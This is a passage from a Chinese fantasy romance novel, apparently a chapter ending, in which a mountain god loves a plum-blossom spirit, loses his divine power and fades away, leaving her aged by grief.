故而面对少女热烈张扬的爱意时,他只想逃避,他只想让她离开。
只有她离开了,他才可以控制自己内心。
可在这一刻,面对她哽咽而绝望的表白,他却再也无法说出那个“不”字了。
没人注意到,角落里的狐狸露出一丝得逞的神色。
林砂眼中泪水缓缓流下,声音断断续续的,“大人,你不能为我赐婚......”
染尘忽然揉了揉头,他感觉自己的心正在被一阵酸涩的心疼填满,他头痛欲裂,他体内的神力正在缓缓消失。
染尘忍了半晌,才咬着牙轻声道,“你看你,怎么又哭?”
语气无奈,却带着一丝认命的释然。
跌落神坛会如何?神力消失又如何?万劫不复又怎样?
动心便是动心,他无怨无悔。
想着,他缓缓地抬起手,小心翼翼又十分温柔地为她擦去脸上的泪水。
林砂抬头,便见染尘眼里满是心疼与无奈,她愣了愣,轻声道,“山神......山神大人,你......”
林砂话语还未说完,便被一根修长白皙的手指抵住了唇,染尘轻轻道,“嗯。”
嗯是什么意思?他也喜欢我么?
林砂睁大眼睛,心中暗道。
之后,染尘便一直同林砂待在一块儿。
林砂会去山间给他摘野果。
她还会带他去鸟儿雀儿那里玩,然后在鸟儿雀儿不可置信的目光下骄傲地宣布,“喏,这就是我最喜爱的人——山神大人。”
在染尘温柔沉溺的目光下,林砂总结道,“并非所有的男子都无情无义,山神大人便很好啊!”
林砂还会带染尘去溪边嬉戏玩耍,溪中的鱼儿听见林砂的笑声都纷纷聚集于此,他们围在两人周围游来游去。
这时,
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林砂就会得逞道,“鱼儿鱼儿,你快看,这是山神大人!我最爱大人啦!”
“......”
可惜,这般愉快自在的日子没有持续很久。
染尘的脸色越来越苍白,林砂终于发觉了。
“大人,你为何越来越虚弱了?”
林砂靠在染尘的胸口不解道。
染尘微微笑着,“无碍。”
林砂信了,可染尘的身子都越来越差。
他的容貌在缓缓变老。
“大人不是青春永驻么?”林砂担忧道。
染尘温柔道,“你嫌弃了么?”
林砂摇摇头,投入染尘的怀抱,轻声嗔道,“大人莫要乱说,你知道的,我怎么会嫌弃大人呢!”
后来,染尘的头发变得花白,林砂终于意识到事情的严重性了。
“大人这是怎么了?”
说着,林砂又红了眼,泪水自她双眼中一滴一滴砸下。
染尘也红了眼眶,他抬手温柔地摸了摸林砂的的头,又擦去她脸上的泪水,轻哄道,“你别哭啊。没事的......”
“怎么会没事?这是为什么?”林砂哽咽道,“是不是因为我?”
染尘叹了口气,“怎么会是因为你呢?”
他的眼睛开始变得浑浊,他得解释清楚,否则这个傻姑娘一定会自责一辈子的。
“是因为我自己啊。神是不能沾染红尘的,是我自己贪图红尘,动了凡心......傻姑娘,”染尘再次抬手擦去林砂脸上的泪水,“不怪你,从始至终都是我自食其果,我自然无怨无悔。”
林砂被巨大的悲伤包裹着,她不断摇头,“是我的错,都是我的错......若不是我,大人怎会变成这样......”
染尘的身体渐渐变得透明,他的语气温柔至极,宛如初见。
“傻姑娘,别难过,我会化作世间的风、世间的雨、天上的云、人间的草木虫鱼,永远同你在一起的......”
林砂紧紧地抱着染尘,口中喃喃道,“我不要,我不要,我就要你......”
直至,那袭白衣在她怀中化为流光,渐渐消失。
一道温和的女声在虚空中传来,“山神染尘已染红尘,万劫不复,下一任山神即将到来。”
林砂眼眶通红,嘶吼道,“凭什么?!”
她的声音无助又嘶哑,“爱是原罪么?”
虚空中的那人仿佛有些不忍,温和道,“爱不是原罪,但也算是原罪。因为神本就该爱世人,而非一人。染尘他爱上了你,便无法平等的爱世人了。小梅花精,你且好好修行吧。”
说罢,虚空中传来一阵灵力波动,那人已走远。
林砂跪倒在地,心如死灰,眼中没有一丝生机。
随后,她的身形也在发生变化,她如花容颜瞬间变成宛如枯树皮般,纤纤细手变为枯枝般的丑陋,墨发霎时间变为灰白。
落无忧和云殷寒对视一眼,这个模样便是他们刚进神庙时遇见的老妪。
心死如灰便会瞬间苍老。
永失所爱,因此变为疯癫。
回忆至此便戛然而止了,只留一片苍茫。
33. 已染红尘(终)